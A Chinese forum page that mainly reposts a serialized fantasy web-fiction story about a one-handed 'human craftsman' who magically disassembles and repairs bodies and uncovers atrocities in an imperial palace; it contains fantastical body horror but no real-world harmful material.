如何快速找到某个模块的帮助或者参数适用 python ?

python低调的哥哥 回复了问题 • 2 人关注 • 1 个回复 • 833 次浏览 • 2016-05-23 23:46 • 来自相关话题

七岁的时候,父亲砍断我的左手

默认分类李魔佛 发表了文章 • 0 个评论 • 516 次浏览 • 2016-05-23 01:03 • 来自相关话题

文/方糖 转自知乎 
1.

在我七岁的时候,父亲亲自斩下了我的左手。

他说,做我们这个行当的,得有保命的本钱。那年我太小,哪里懂得这句话的意思。

父亲说的行当,是人匠。

世上有画匠,木匠,瓦匠,也有人匠。人匠的手艺,是罕有的手艺。不是精湛纯熟到极致,火候老道的人,是万万不敢提起自己人匠的名号的。

这手艺的神妙,我亲眼见过。

父亲的双手,像是有种魔力。他曾经单手拆下来一位老农的胳膊,断口处平滑如玉,没有一丝血迹。之所以用拆,是那个动作真的轻巧流畅,就像是摆弄木偶。他两指在胳膊上划过,被农具刺穿的伤口像是墨水一样散开,又消失不见。父亲反手轻轻一触,那胳膊又接了回去,浑然天成。

他曾经给一个脑满肠肥的大汉瘦身,父亲手一打过去,那一团耷拉的肥肉就像是软泥一样滑落下来。

他用指甲轻轻滑过,就能给你开添一个双眼皮。他轻轻敲打,就能纠正你绞痛的肠胃。

我曾经问父亲,到底什么是人匠。

父亲只说了两个字。

“修人。”

2.

我十二岁的时候,父亲拿来厚厚的一本册子,沉声问我

“当不当人匠?”

我当时的回答是,“当。”

“好,这是祖师爷留下来的。好好读。”

此后每日,我都会细细品读这本古书。书里记载的都是玄异的技法,我常常通读入迷,茶饭不思。

我读那古书读了数月,感觉已经烂熟于心。父亲又叫我过来,一一问我。

“那书有几章?”

“十一章。”

“第六章讲了什么?”

“《离骨》”

“做给我看。”

我低下头来,用食指在中指的一个指节轻轻划过,一节指骨便呈在了手上。

这样说来有几分诡异,甚至于恐怖。但没有丝毫痛感,也没有任何不适,指骨被完整的抽离出来,干净的像是一段玉玦。我中指轻轻一动,那指骨便又回到身体。

父亲点点头,他蹲下身,直视着我的眼睛说

“人匠可以修人,也可以杀人。心术不正的人匠夺人器官,取人性命,自古有之。你将来离家的时候,带上我那柄伞,以便与别的匠师相认。”

说完,他让我闭上眼睛。用双手的大拇指划过我的双眼。

我睁开眼睛,发现目力更加敏锐,甚至可以清晰点数手上的汗毛。

唯独看不见父亲。

3.

母亲是很温柔的人,跟父亲的严苛截然相反。从我十二岁那年,我跟她相依为命。

她对人匠事情绝口不提,她是个本本分分的妻子,本本分分的母亲。

但我是不安分的。

十二岁的我,学会独立,学会家务,唯独没有学会怎么安稳。我在家闲不住,又是满脑子好奇心的年岁,总是问母亲各种问题。而母亲肯回答的甚少,只是反复念叨四字家规“心善,人善。”

我闲的发慌,只好磨练玄妙的技法。偶然间,我突发奇想,自行构想了些需要双手并用的技式,然后又心凉下来,想起自己其实只有右手。

我有的只是遗憾,不是怨恨。

自那后,又过了平淡的四年。在我十六岁生日的早晨,我发现母亲抱着黑色的长筒站在门口,脸上满是泪痕。

她哭的眼睛红肿,哽咽着问我说,你想知道我为什么会跟着你爹么。

我摇摇头。母亲虽然没有富贵的出身,却是真正的美人,眉眼如画。那不粘脂粉的秀美气质,也不是轻易可得的。父亲则相貌平平,过人之处,也就是独到的手艺罢了。

她说:“他当年背着这长筒,身上就两个铜钱,却也要买一个馒头给饿坏了的我吃。他舍了一切,把我从那里救出。你父亲修了一辈子人,唯独修不好自己。我知道你技法精湛更胜他人,但你最需要学是父亲的善。”

我点头,不知道回答些什么。而父母曾经经历过什么,所说的“那里”又是什么,我全然不知。

她抱着我,又要哭出来,她说:“你是程家的孩子,注定要游历四方。你十六岁了,我把这长筒交给你。里面有伞一柄,信一封,玦一块。我不懂这物件的用处,只知道那古训。‘遇危难,开伞。至境界,阅信。见故人,持玦。’我能给你的就这些。”

我不知道母亲在哭什么,却也想跟着哭。内心要离家的冲动和热血在一瞬间结冰,我什么感觉也没有,什么也不愿意去想。只想跟着她一起站着。

我呆呆傻傻的走出门去,母亲深深地鞠躬。我第一次见她这样伤心欲绝,她别过头去说

“儿,娘很想你,但别回来。”

4.

父母为我起名为善。我叫程善,也许是寄希望于可以万事成善。

但我出门的第二天,便在山路见遇见了山贼。那是通往皇城的必经之路,没想到最近也是山贼肆虐。我想起了母亲说的“遇危难,开伞”,便从黑色的长筒里抽出那长伞,墨色的大伞上面满是繁复的雕文,让我眼花缭乱。

我从马车上跳下来,那一众山贼看了我的大伞,全都呆了。有几个胆识大的,气血盛的年轻人想要冲上前来,每当要靠近我这黑伞,都四肢僵硬,动弹不得,更近的就浑身抽搐,痛苦不堪。

“别动!”

那山贼的头子呵道。

“是程家的黑伞,都不想活了?再近一点,就要变一团烂泥喂给猪狗!”

我看那几个山贼面色实在是苦不堪言,于心不忍就把伞合了起来。但即便如此,有几个气力弱的还是步履蹒跚。我又只好把黑伞收进长筒里,那几个人才恢复如初。

头子走了下来,满脸堆笑的看着我,让我满身不自在。

“程家的少爷,皇城里面据说有大恶作乱,去那里做什么。”

我回答说

“听闻圣上寻找天下能人异士,聘金不菲。我去那里,讨个生活。”

“小少爷呦,程家人哪里还需要讨生活。”头子说完见我面有愠色,便识相的走上山区。

只是那人,走前细细地打量了我的左袖。

想必他已经发现了我没有左手,我也没有太过放在心上。只是我渐渐发现,只有一只手的情况下,的确有很多技式使用起来相当不便。如果那山贼想在这上面做点文章,可能是个麻烦。

等山贼都走后,车夫突然从马上翻下来,然后开始放声大笑。

是个身材娇小,面容俊秀的女孩。

其实,自从父亲轻划过我的双眼之后,我的目力精锐,已经不能以常理考量。我早早透过她的面纱看穿她的相貌,只是没有说穿。

“小屁孩,没想到老娘我是个女的吧。”

我微笑着点头说“没有。”

“你不出手,我就把那几十个人全都放倒啦。”

我又笑着点头,配合着说:“有女侠护佑,我当然放心。”

我这么配合,只是想看她什么时候能切入主题,满足她的好奇心。

“小子,你那伞挺有意思的,能给我看看么。”

5.

她叫明彩,自称是武功最好的画师,画工最好的侠客。

她乔装打扮,竟然只是为了能顺利上山征伐山贼。我很难想象这样一个满脑子江湖梦的丫头,会甘愿当一个宫廷画师。但事实就是如此,就好像曾经最讨厌礼法的我,要进入皇家这种循规蹈矩的地方。

程家的名声不小,但大多都是民间的传说,已经与事实相去甚远。所以听说我是程家人,还以为我有什么夸张的威能。但我说道人匠的技法的时候,她还是很是吃惊。

而我把她的左臂像车轴一样轻松旋转了两圈后,她差点吓得晕死过去。

我说“这算什么,要是我想,都能把我胳膊接在你身上。只是一是我只有一只手,很不方便,二是父亲当年明令禁止我这样做。”

她对我的左手相当感兴趣,因为民间都说,程家有着天赐的双手,但是到我这里只有一只。

这个问题,我没法回答。

十六岁的我涉世未深,阅历尚浅。有明彩这种同龄人相伴,是为数不多可以缓解心头焦虑的事情。

只是明彩不时提出的问题,常常让我哭笑不得。

“程善,你可以把我变美喽?”明彩很兴奋的问我。

我回答说“可以是可以。但是你挺美的啊。而且给人更易面貌的技法是最考验人匠经验的,像我这种毛头小子,当然是不敢做这种细致的活,而且……”

而且,我只有一只手。

“好啦,我是不会难为你这种小毛孩的。”明彩摆摆手,满脸写着刻意的大度。

“我是在想,程家人把另一个人塑成圣上的身躯和模样,是不是可以偷梁换柱呀。那还得了?”

6.

我们在路上走了数日,又在皇城的客栈住了两天。

她全然不怕我,不但不怕,还很泰然,甚至是放肆。总是挑衅我让我开伞给她,我都拒绝了。

我说,你画幅画给我吧。画的好了,我便给你开伞。

她笑了足足有一刻,止不住。

明彩作画的时候问我,说:“你们程家人可以化男女老少,胖瘦美丑,这画像到时候也不尽然像你啊。”

我说:“我喜欢我这张脸和身体,是不会改的。再说,又不是画我。”

“这画像不是画你的么?”明彩有些疑惑。

“当然不是,我要自己的像做什么。我要你的画,我想看你。”

明彩的脸红透了。

她沉默下来,安安静静的为自己画了一幅。

那时我还没懂,人可以修成画,画却不能化作人。

“像,真的是太像了。”我看着那幅画不禁咋舌惊叹。

“我画自己,想不像也难啊。”

我知道,明彩这谦辞是站不住脚的。对于画师来说,画他人像,抬头就能看见,那人若是好好配合,神态动作又不曾更易,当然容易。而明彩只是对着这张无暇白纸,凭空从脑海里画出自己。明彩端着那画像时,就如同持着一面铜镜一般。

可能是我见识太少,但在我眼中,这种画工说是绝世无双也不为过。

明彩作画时那种入迷痴醉,也是我之前见所未见的。我忍不住连连称赞她,她终于也有觉得害羞的时候,连忙避过身去。

我问道“明彩,你还有没有别的画,拿来给我看看。”

她点点头,从自己背着的木箱里抽出十几幅画卷。其中花鸟,草木,男女老少,鸡犬牛羊,无一不活灵活现,细致入骨。

只是这山水,楼宇,顽石,连云,晴空却显得单薄失色,空洞无味。与之前说的那些,画工相去甚远。

我仔细端详,不禁发问:“明彩,为何你画活物妙不可言。但是画其他的却如此苍白?”

明彩没有回答我,她只是莞尔一笑。

7.

从客栈离开时,掌柜的特地来嘱托我们二人。他说

“听闻现在皇城不安定,弄得是人心惶惶。有大恶人!”

我问:“什么恶人?”

“程家!”

他说完这话,明彩忍不住瞥了我一眼。

“程家?”我反问。

“就是,就是程家”掌柜的说到这里,战战兢兢,声音发虚,摆手让我靠近些。他低声说道

“现在有个程家的大恶,在城里,找那身体健壮的小伙子,面容俊美的姑娘,拿去做‘人模子’。”

明彩憋不住好奇,她问:“人模子是什么?”

“小姑娘你不知道,那程家把人一掌打成烂泥,皮,肉,骨分的清清楚楚。好的心肝脾肺,全拿去给达官显贵用。貌美姑娘的皮囊,都留去换给宫里的妃子。你生的俊俏,更要小心才是啊!”

我们走出客栈后,我沉声说:“要是我找到这恶人,就拿程家的古刑伺候他。把他头颅拿下来,保他不死。再去他的舌头,让他求生不得,求死不能。”

我看到明彩惨白的脸色,露出笑颜说:“我也只是听父亲说起的。这古刑曾经是处置违反家规的族人,但至今不知过了多少年月。程家人也渐渐不再过问世事,那严苛的刑罚也就废弃了。”

我们两个走了良久,一直相对无语。她欲言又止,让我心里不太安稳。我们一直走到一个僻静的路口,再往下,就不同路了。

明彩尝试着笑了下,笑的很浅,她说:“记得我说过什么吗。我怕的是,你技法太过神妙,若是进了皇宫,是宫中人身上的肉刺。他们要是不除了你,也会利用你。”

“你怕我作恶?”

“你是白纸,我怕被染了色,在上面画了些妖魔。”

“女侠去哪了?你这时候又像个弱女子。”我只好这样避开她的话锋。

她别过头去,又转回来,那神色又像是曾经的明彩。

“小子,过了这个路口就没有本女侠罩着你了。你好自为之吧,哈哈。”眼看我转身就要走,她一把按在我肩上,说

“别忘了,那天我给你画像,你答应给我开伞的,想反悔?”

我摇摇头说:

“哪里哪里,明女侠的约,我哪敢反悔。只是这伞高大,在那屋里不便展开。你站远一点,我就开伞。”

明彩离了我有四丈远的时候,我喊道“别逞能,要不要再离得远点?”

“老娘我天不怕地不怕,区区一把破伞,不能奈何得了我!”

我便放心的把黑伞打开,古奥的花纹覆盖了我的视线。

“好了么?”我问。

没有回答。

我合上伞的时候,明彩已经跑远了。她是习武之人,我知道。在这小路上轻巧无比,如蜻蜓点水。但我还是一眼看见她在那路的尽头,一边飞奔,一边哭。

我心海里惊起涟漪,只在想,她哭什么呢。

8.

那年我十六岁,缺了些责任和担当。想的,都很浅。所以我不会太在意母亲为什么会哭会那样伤感,明彩为什么要跑要不辞而别。即便在意,也很快被时间冲淡,在意几日罢了。

明彩在那里跟我分道扬镳之后,我自己向着皇城的内城走了一日。路上的我突然惊觉,一时间差点要叫出来。

这丫头,该不会对我有点意思吧。

我摇摇头,决定把这些念头抛在脑后。我当时一心想着入宫,只想着要找到那程家恶人:如果皇城里有恶,那宫中一定有大恶。就好像天下有恶,则居高位者中必有大恶。

内城近在眼前,那里的小门是我进宫的入口,远处只看见几个身披甲胄的护卫。

我的确是不懂武艺,所以当他们看到身材纤瘦,体质文弱的我相视讪笑也是理所当然。

领头的护卫把佩刀按在桌上,上下打量我,又瞧瞧我左手的位置,摇摇头说,你,活脱脱一幅残废样,能会点什么呀?

我深深鞠躬说,兵爷,小弟武艺稀疏,只涉猎了些旁门左道。

说完,他们又是一阵哄笑。

我只好右手轻轻一指点在那领头的额上,说

“失目。”

那人的眼窝深深的陷了下去,空洞的双目像是干涸的井口。

众人惊慌大叫,有抽刀咆哮的,有瘫倒在地的,有面色苍白的。

我手一离开,那人又恢复正常,止不住的粗喘。他大汗淋漓,言语颠倒,像是失了魂。

我又一次鞠躬说

“各位兵爷,麻烦行个方便。”

领头颤颤巍巍的递给我一个黑铁腰牌,说:“进去之后…,找…,找王总管。他会好好安顿你。”他慌张的看向我,眼神却不觉间锁在我背后的长筒上。

我道谢之后,走入城里。恰是秋风过境,我身形不稳,像要化在风里。一众护卫,只远远观望,无人敢上前一步。

大概,恶人,以恶慑。

9.

我见王总管的时候,正听见他在训斥手下的侍女。

“你干活再这样毛手毛脚,小心被罚去‘废人居’!”

那侍女听罢大骇不已,吓得花容失色,连忙跪下要自扇耳光。王总管看见我来的时候,一手扶起那侍女,轻声吩咐这般那般。

那侍女抹去泪痕,小步走到我身前行礼。

“大人请跟我来,‘异人居’就在不远处。”

我微笑点头,与那侍女走了稍许,见四下无人就低声问:

“姐姐,我好奇那‘废人居’是什么去处?”

侍女满脸惊惧,她看着我退了半步,说:“大人,那‘废人居’里面可不单单是废人,尽是些妖魔。”

“我只是打听而已,并无他意。”

侍女环顾了片刻,与我耳语道:“听闻里面有什么单眼的老头儿,四腿的妖婆,无嘴的异童。前几日有几个姐妹去里面清扫,活脱脱吓得昏迷了两三日。”

我面上不惊,心里却起了阵阵波澜。这些所谓的妖魔,听着都像是程家的手笔。人匠可以修人,自然也可以害人。跟我猜的别无二致,让皇城百姓人人自危的大恶,应该就在这宫里。

“那姐姐知不知道这‘废人居’怎么走?”

侍女面露难色说:“奴婢不敢说。”

我语气和缓地说:“那我也不为难姐姐了。世上哪里有如此畸怪之人,估计只是相貌生的奇异丑陋,以讹传讹罢了。姐姐也不必放在心上。”

她点点头:“奴婢也希望是如此。”

她将我送到异人居便离开去。我见她走了,食指在右眼上一扫,一个眼珠落到我手心里,温润如古玉。我闭着右眼,将那眼珠向天上轻轻一抛。

只见我的视野随着眼珠忽地上升。天地宽阔,万象大千,尽收眼底。这内城的宫苑,草木,行人都在我惊人的目力之下。

原来如此,这废人居的位置当下就被我摸个通透。

我一手要接那坠下的眼珠,那眼珠光滑通透,我险些没有接住。幸得周围无人,否则定要被这异景吓得昏死过去。

说起这抛眼珠观广袤的技法,是我曾经脑子一热的产物。实际用起来,条件很是苛刻。一则是你的目力要足够敏锐,否则就算眼珠在高空也未必能看清。二则是偶尔会借不到眼珠,虽然人匠的眼珠的确是不会被摔坏了,但没准也会找不到的。

最后,我站在异人居门前许久,安眼珠。

10.

异人居,有一条规矩:不许与其他异人相见。每日从自己的房内走出,必须带上宫里配的斗笠和面纱。以我的目力,可以阅他人面容,但还是不许交谈,不许递物。

呆了三日,内心的疑虑尤甚。虽然说是用来招待各路能人异士,但是既不许相见,又不吩咐所谓事宜。日夜闲散,与其说是招待,更像是牢狱。终日焦躁后,一天夜里,我从异人居溜出,按照所记的路线去见侍女口中的“妖魔”。

如果侍女所说不假,那可能真的有魔。最大的魔,是人。

我披斗笠,戴面纱,倒夹黑伞,穿行在夜色里。冷月孤照,四下无音,寂如坟墓,只有脚步声回响。靠近那废人居的时候,面前朦胧有一个暗影。

是活物。身形如同羊马,四足着地,步履迟缓。但我的确没见过那样的羊马,只得靠近细瞧。我却没料想,那是人。

是一位老者,双臂处被替换成了扭曲的两腿,嘴的地方变的平滑无物。他的身躯只能这样匍匐在地上,脖颈僵硬到无法抬头,也看不见这月景。

他终于发觉有人靠近,奈何发不出声音,只能在鼻腔里惊慌的哼哼,在浑浊的双目里透露骇意,身躯止不住的战栗。

我心中一颤,把黑伞向地上一点,说:“老人家,不用害怕。我没有恶意。”

老者显然已经很难相信人,还是止不住的退去。我蹲下身来,把头深深的沉下去说:“人匠不善,是我程家之过。”

我把右手轻按在老者后颈,又抚过老者鼻下。

我说:“您现在已经可以抬头,讲话了。”

老者又惊又喜,眼中含着泪光。他激动地发抖,想抬头看天。只是我为他新开的口很粗劣,而且他已经许久没有讲话了,只能呜呜地说着:“谢…”

只讲了一句,那老者便佝偻着身躯咳起来。

我拍了拍老者的后背,右手顺着脊骨摸下去,说:“您不用太急着讲话。虽然我给您开了口,但是你喉嗓已经受损大半,加之体质虚弱,已经不方便讲话了。我只问您些问题,‘是’便点头,‘不是’便摇头。”

刚刚摸了这老者的身骨,不单单是四肢和口做了手脚,全身多处器脏,静脉,筋骨都已经被折腾的混乱不堪。这老人必定痛苦万分,生不如死吧。这样折磨人的手段,不单单是人匠,还要够残忍,够熟练。

这样的程度,我已经无能为力了,随意施技,只能徒增其痛苦。即便是父亲在此,也未必能修好这位老者。人匠虽能修人,却不能修尽一切人。

我问:“把您变成这样的,是宫里的人么?”

他点头。

“您见过他的面貌么?”

他摇头。

“您变成这样有五年么?”

他点头,然后微声说“七。”

我看他神情痛苦,看来是回忆起当年梦魇,也不忍心再问,只好说:

“老人家出来,是为了看月么?”

他点头。

我把黑伞抬起,问:“您还有什么心愿,讲给我吧。”

老者终于含笑,却又热泪两行,他支吾着说出二字:“赐....死。”

我已经猜到他的愿景,便站在老者身旁,将那大伞张开。雕文在月光下显得分外诡丽,黑伞下老者霎时间化为一滩肉泥,片刻后又散作血水,终成为腾腾的红雾,如朱砂飘起,附在伞的纹路里。

生而无乐,唯死求欢。

我转过头,急忙把伞合起,那偷看了许久的侍女忍不住惊叫。

11.

这是给我带路的侍女。我问她,姐姐,看了多久了。

“奴婢知错,奴婢有过,求大人饶我……”她跪下身要给我磕头。我连忙扶她起来说:“这位姐姐,我想你不就寝,来这里游荡,也多少是对这废人居放心不下。我只想问你,刚刚那老者是何人?”

“奴婢不知。”她说完开始抽泣,哭的接不过气来。

“我不害你。”我说着一手搭在她肩上,轻轻发力,只觉得她肩骨有异,右臂虚软。她急忙从我手中挣脱,又要给我磕头。

她眼神飘忽在我那伞上,大概是畏我这黑伞。我把伞被背过身去,说:“姐姐,你身子有没有哪里不适?”

她摇摇头,愈加是害怕的发抖。

我眉头微皱,只得说:“罢了。我不强求,也不难为你。我只问你姓名,能讲么?”

她点头,终于肯站起身,说:“小女子有一贱名温良。”

温良不说,我却能猜个三分。她藏匿,她心虚,她欲言又止,她定然对着宫中的诸多怪事有所了解。只是她的确怕,又有难言之隐。我断定她不到处声张所见之事。所以我再没问她,各自分别。

被温良弄出了些声响,我恐生事端,又回到住处。

自那后,我门前的侍卫,又多了六七人。但我依然相信,这事与温良无关:否则,我早就不是这般下场。朝中人若是听闻有一把杀人不留痕迹的黑伞,即便不招惹奸恶之徒,我也活不长久。

我这次彻底找不到这监察的疏漏,像软禁一般被关了半月有余。

夜里我躺在床上,思绪是惊涛怒海,搅的我寝食难安。我坐起身来准备开窗,却看见窗外有个蹲着的人影。

透过窗间的缝隙,我大致猜到了这来客。

我说,你怎么跑来这里的?一边放她进来。

明彩满身血迹,肩上还有一道极深的刀伤。她从台上跳下,打了打身上的尘土说:“有个侍女,秀气模样,告诉我你待在这里。”

我叹息,又摇头说,我问的是门前的侍卫,你怎么过来的。

她漫不经心地答:“我说我是御用画师,要进来逛逛。他们非不听。我只好跳上屋顶,没想到屋顶上还有三个带刀的,让我放倒了。”

她说的轻描淡写,但我终究是放心不下。我右手各轻点了她锁骨,右肩,右肘说:“砍伤,刺伤两处。骨损一处,筋损两处,右臂差点断掉。再严重些,我也修不好你。即便现在这样,要修你也要一个时辰。”

明彩站的不稳,不由靠在墙上,从腰间抽出几排画卷说“我没事,我是来给你带几幅画的。”

我只轻瞥了两眼,有轿子,椅子,花瓶。都是些宫中普通的物件。

但细瞧才觉得有异。

“等下,明彩。这都是你画的?”

“当然。”她的声音有点干瘪。

“你什么时候把死物画的这么好了?”

她没回答,我这才发觉明彩面色惨白,嘴唇青紫,倒在了墙角。

12.

天色渐晚,日光昏黄。

她的伤比我想的还重,甚至痛及筋骨,脏器也有轻微的淤血。我花了足有三个时辰才修好她。最后实在太过疲倦,我直接在床头睡去。

我梦见明彩,见到的是一片雪白,白色的柳叶从我面前像素湍一样飞过。我听见明彩在我身旁清唱,唱的是我没听过的曲调。那唱腔如泣语,却又带着几分洒脱。她的声音简单真挚,一字一句唱道:

自有智,自有惑,辨得物与我。

百种阳,百种阴,化作天地和。


不见善,不见恶,唯留因和果。

千般圣,千般魔,任由他人说。

这曲是什么?词又是什么呢?

到最后,我满脑子回荡的都是最后那句“千般圣,千般魔,任由他人说。”沉醉之间,却已醒来。

我醒了时,明彩就坐在床边。其实我是很想问那天分别之后为什么要哭的,更想追问那梦中的曲调。但我终究没有问出口。

她先开口问,你身子,还撑得住么。

我说,我当然撑得住,这都是末事。我给你讲件大事,希望你不要怪我。

她说,你说说看,我也先听听看。

我指着柜子说:“侍卫被打伤,宫里严加戒备,我这里也被搜查。为了把你藏柜子里,我当时把你拆了。”

“拆了?”

“就是拆成若干块,成一摞。然后…,堆起来。虽然不告诉你,你也未必知,但我还是觉得不该瞒你,况且…”

她瞠目结舌,半响说不出话来。

明彩摸了自己浑身上下,然后指着我,我连忙示意她小些声响。

“你摸了我全身!”

我没想到她竟然着眼在这点上,哭笑不得说:“这倒是其次,只是我单单觉得把人四分五裂,有违天理。而且不是隔着衣物么…”

“我倒觉得蛮有趣的…。”

“这可不是什么趣事啊,明彩。”我摇头讲“父亲曾说人匠里有先人为了避难,自己拆分血肉筋骨藏匿起来。虽然最后被他人恢复,却受不得被拆解后那种状态,终日恍惚,郁郁而终。”

她显然没能听进去我的说辞。

我拿起那画卷问:“那接着说点大事。这些画,到底是什么来由?”

“的确是我画的,是我当上宫廷画师后,所画的一些宫中物件。”

“但你根本不会画死物啊。”

她跳下床,然后笑着讲:“所以那些都是活物啊。”

我不禁悚然。

“你是说,这些曾经都是人?”我问。

“是人,而且他们现在还活着。”

“这不太可能,如果把物件镂空,以人匠的技法把人切分软化,将之注入。或者为人蜕皮,置入某个物件里,让血脉经络和外物长在一起。这两种难度都很大,而且就算能成,这人也活不了多少时日。”

“那你看这张。”明彩从袖中抽出一张褶皱的宣纸,上面潦草的画着一个人形。是我那夜里化进伞的老者。

我问:“你也见过这老者?”

她说:“在夜里曾见过一面。时间太短,只画了个大概。我拿这纸问过一个侍女,她说这老人要去当‘椅子’,只是体质太差,没当成,成了所说的‘废人’。”

我半响无语。到底是怎样的人,要将人抽成模子,做成椅子,弄得分崩析离,生不如死?要这样违天理,逆人伦?这宫里我见过的人事有多少,未能的认识又有多少?我触到的恶可能只是河川,未见的恶也许是汪洋大泽。

心口有一团火在灼着,烫得难受。

我凝思了片刻问:“你一直在说的侍女,是不是叫温良?”

明彩摇头说:“不知。我当了画师后,是那侍女来给我送纸墨。我便问她见过一个身背长筒,略显纤弱的男子没有。她便说你在这里云云。我又给她看了一眼那老者的像,她告诉我这是废掉的‘人椅子’。”

现在我心中有了个大概,明彩见过的侍女定是温良。但温良不肯把她所知向我全盘托出,却肯一五一十的讲给明彩。要说信任明彩,她与明彩也不过一面之缘,萍水相逢,又难说有什么情分。若是她在明彩身上另有他求,比如一直想图一幅画,没准倒还说得通。因为明彩画起活物来,倒是精妙的可怕…

想到这里,我扫了眼床上散落的画卷,问起早有的困惑:“明彩,你只会画活物,有什么缘由么?”

“我要是问起你的伞为何如此神妙,你有缘由么?”

这是在讲她的笔不同寻常么?我还没理顺个中道理,却见到她有点失意地看向我,眼眸里藏了些落寞,只是脸上强挂着笑言,还像是与我打趣。

我这才发觉。明彩赌上性命来见我,又守了我一日。但我却连半句关切也没给过她。

13.

今晚,要再去废人居一次。

起码要弄个彻底,弄个明白,直到让我心安。

我提出这个决案的时候,明彩对我佩服非常,说我看起来弱不禁风,没想到依然心怀天下。

我说,我的心哪里怀的住天下呢。

我不自欺欺人,我明白。这天下是应家的天下。我只是一块瓦砾,一片泥壤,一颗棋子。我尽力翻搅这池底,充其量也只是死水微澜。天下里有多少恶事,我触之不及。但这宫中种种,放任不管,终有一天要惹火烧身,把我和明彩焚为灰烬。

丑时初,便起身。

“丑时是侍卫更替, 屋顶上只有一人。见面之后,只要让我的血沾到侍卫肌肤,我能让他气血逆行数息,他经脉胀痛而不能动,你我就逃出。”我这样讲。

明彩是一个挺容易劝和被说服的人,起码我目前还这样想。我给她了讲了些小时候的趣闻,要不是我捂住她嘴,她能笑得把大殿里的侍卫都召来。

我心又放下来,回想起自己好久没有这样自在惬意的聊天。我都忘了,自己在忙什么,求什么。生而为人,成而为匠,又能代表什么。万千善恶,又有多少瓜葛。我都不愿想。

我想的是,能这样闲半个时辰,就闲半个时辰。哪怕下一息,要见血光,动刀兵。

她也给我讲了些她初入江湖的所见,说她骑着马跨了多少山岭,画了多少人家。说她被江洋大盗劫了银两,还不忘给人家画像。说她曾经饿过三日三夜,看见客栈的美食差点把不住碗筷。

她说,家传人匠,有祖传口诀什么的说来听听。

“哪里有,只有天天念叨的‘心善,人善四’字家规。还有什么玄之又玄的古训,让我到什么境界,见什么故人。”我答道。

“古训,这种没灵气的东西。我编都能编个十几句呢,不过是什么道法自然,天地轮回,人心善恶的老话。”

的确,明彩说的也确有道理。我没反驳,只顺着她说

“明女侠,你说的也在理。可惜你不是古人,所以你说的只能是‘今训’,又有多少闲人肯听?”我话音未落,已经听见屋顶上细碎的脚步声,那是侍卫交接。

丑时到,暗云蔽月。这是再也闲不得了。

我以眼神示意明彩,她心领神会。我伸出右手,垂下几滴暗红的血让明彩用牛皮接着。明彩跃窗而出,身形矫健,只听见屋顶传来三声轻巧的踏步,又归于沉寂。

“上来吧!”她探下半个身子,向我兴奋的摆手。

我武艺不通,行动迟钝。在屋顶上翻上翻下也是温吞水,全然没有明彩那样得心应手。费了些功夫才从异人居离开。

我说:“刚刚让你拿侍卫的刀了。如果这次去废人居有什么不测,你第一件事就是把我这黑伞砍断,然后再把我右手戳穿。”

明彩暗暗瞥了一眼我背着的长筒说:“程善啊,程善。你这黑伞的确是个宝贝,可天下的宝贝又不是只有你这黑伞一件。”

我笑问:“听明女侠这么说,应该是见过更加珍奇之物了?不妨拿出来看看?”

她却跑开来,说:“快走吧,一会就要天明了。哪天穿给你看。”

穿?是一件衣物,还是靴子?我本以为她那画笔有精妙之处,才致她善画活物。难道还另有原因?我反复回想明彩穿过的衣物,既没有太过华美的样貌,也没有什么不凡的功效。所以应该是我还没见过的衣物。

我再没过问,与她一齐跑到废人居门前。我拉着明彩侧身到门一旁。

我在她耳旁道,里面有人要出来,很多人。

晚秋风起。

然后我们两人听见了里面凌乱的言语声,嘈杂纷乱,弄不清次序。

“活着的还有九十七人,都带到后殿。”

“你怎么跟来了?这不是你这女人家该来的地方,快回寝宫,老实睡觉!”

“你们几个别搬那骨肉了,全都堆在那边便是。”

言语声只持续了片刻,又是沙沙的拖行响。

然后我听见簌簌的颤响,像是万木成枝从地上攀过。

我们两人一动不动,静着藏了些许时候。直到死寂。

大门依旧敞开,只是夜色太深,周遭的景致都像蒙在墨里。

是一个空荡荡的大院,房宇都被拆了去。只有

“这天色太暗了。里面的景物我能看见,你应该看不太真切。”我拦住要上前去的明彩说。

“你拦我做什么?我护着你还差不多。你看看,这里面有东西么?”

我说,只能看见石砖。

“这不对,石砖上都是脚印,还有拖行物件的痕迹。这里的人和物都被移走了,就是刚刚的事情。 ”我眉头紧锁,在目力所及之处尽力去看,看每一个错过的细节。

明彩的每种情感,都盛满到装不下,溢出来。所以我一眼就看破,她的不安。她快步走上前去说:“这砖下面有东西,你要来看下。”

我右手按在地上,一路沿着石砖的缝隙擦过。到了明彩身旁,近乎惊的不能言语。

“这地砖下有血肉,血肉下又有经脉。这地下有大东西,东西上有还有筋骨百千……”我一边摸着,一边在心里估量着地下的东西。

不可能,没可能的。这地下是血肉与土长在一起,人的脏器混作一团像是根茎深深埋下,筋骨如同枝叶潜在土中。

明彩走到大院中央,愣在那土堆之前。

“程善!这土堆…”她还没说完,又听见簌簌的颤响。有什么东西在地下躁动不安,要破土而出。

我终于警醒,然而步伐已经跟不上炙痛的心绪。

“是手!地下有手臂!”话音未落,那些石砖一一被撬动,发出沉闷的碰响。无数只手臂相互接连,盘错着从地下窜出。它们肆意生长,从每一个石砖下面死死地抓住我和明彩。我和她转瞬间被拉出十步之遥,那些手探上我的双腿,腰腹和肩膀。

一股蛮力在狠狠地把我向后拉,接下来,就是我被更多的手抓住,像是被锢上无数的枷,然后被扯到粉身碎骨。

我右手成掌,依次斩过身上的手臂,被我斩过的就像蜡一样断掉又缩回去。

“明彩!不要用蛮力挣,这手里面有人匠的血,那些手都是化骨,脱血的技式!”我跑过去想要救明彩,却发现她右臂已经被几十只手死死锁住,她借着腰腹的力,还在苦苦支撑。

如万蛇缠身。

若是再迟一息,怕明彩要被化作一个空皮囊。所以我一掌从上至下斩了下去,掌锋切过那些残臂,她身后的长发,她的右臂,最后从她右脚的脚踝处离开,她就这样被我斩成几段。

像刀斩乱麻。

14.

明彩终于脱出,我把她背着,在我肩上轻的感觉不到分量。我狂奔着,探过她的身体,心中一阵凉。

到底是用多少人的血肉铸成的那万千邪手?到底用了多少人匠的血才能达成那样的技式?我想不出。

这里面,到底葬了多少性命,埋了多少冤骨,腐了多少血肉,去了多少生灵。我不敢想。

我能想的,就是明彩到底被伤的多重。

她估计已经损了三成的骨,四成的血。我予了她一些我的血,只听见她在我背上说:

“程善,你听过《云鬼词》吗。”

我愣住了,不知道答她什么。

只能摇摇头说“没有啊。”

她的声音快要听不见,她说

“总有一天,我要唱给你,让你说好听。”

她骨已经酥了,精血也不稳。被那邪手抓过的地方,更是软的像泥偶。我感觉她就要像蜡一样融掉。

我说,你听着啊,我会修好你的。我是程家唯一传人,天下第一人匠。我什么人都修的好的。

